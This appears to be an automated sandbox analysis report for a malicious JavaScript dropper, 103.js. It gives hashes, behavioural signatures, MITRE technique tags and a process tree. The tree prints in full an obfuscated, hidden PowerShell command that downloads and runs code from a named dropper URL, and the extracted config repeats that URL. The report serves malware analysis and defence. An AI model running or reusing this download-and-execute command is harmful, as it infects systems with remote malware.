a1fcfa46f4e84f96ed00f6077af4eb5b8b1a74ded576a9f8484b3129a05fa070

Analysis

max time kernel
91s
max time network
93s
platform
windows7_x64
resource
win7v20210410
submitted
02/08/2021, 19:15

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General

Target
103.js
Size 34KB
Sample210802-nfpcy77196
SHA256 a1fcfa46f4e84f96ed00f6077af4eb5b8b1a74ded576a9f8484b3129a05fa070
MD5 8977b11d3e66808d0d84f53aae77cfbc
SHA1 6b2028b5623ebff2534d440427507030ab082df4
SHA512 6808816028c5ce304bb197e619ab073b20c33d43adbd4dbfeb6a38570990398af9c361fb8ce25dd6221b77a7e74c4be4cc5887c20115c4416e671235508099e6
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://grupotopbem.com.br/ashkere.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1764	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1764	powershell.exe
1764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1764	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 1056	788	wscript.exe	26
PID 788 wrote to memory of 1056	788	wscript.exe	26
PID 788 wrote to memory of 1056	788	wscript.exe	26
PID 1056 wrote to memory of 1764	1056	cmd.exe	28
PID 1056 wrote to memory of 1764	1056	cmd.exe	28
PID 1056 wrote to memory of 1764	1056	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\103.js
1⤵
- Suspicious use of WriteProcessMemory
PID:788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1764-61-0x000007FEFBF11000-0x000007FEFBF13000-memory.dmp

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memory/1764-62-0x0000000001F90000-0x0000000001F91000-memory.dmp

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memory/1764-63-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

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memory/1764-64-0x000000001AA70000-0x000000001AA72000-memory.dmp

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memory/1764-65-0x000000001AA74000-0x000000001AA76000-memory.dmp

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memory/1764-66-0x00000000023E0000-0x00000000023E1000-memory.dmp

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memory/1764-67-0x0000000002330000-0x0000000002331000-memory.dmp

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memory/1764-68-0x000000001B720000-0x000000001B721000-memory.dmp

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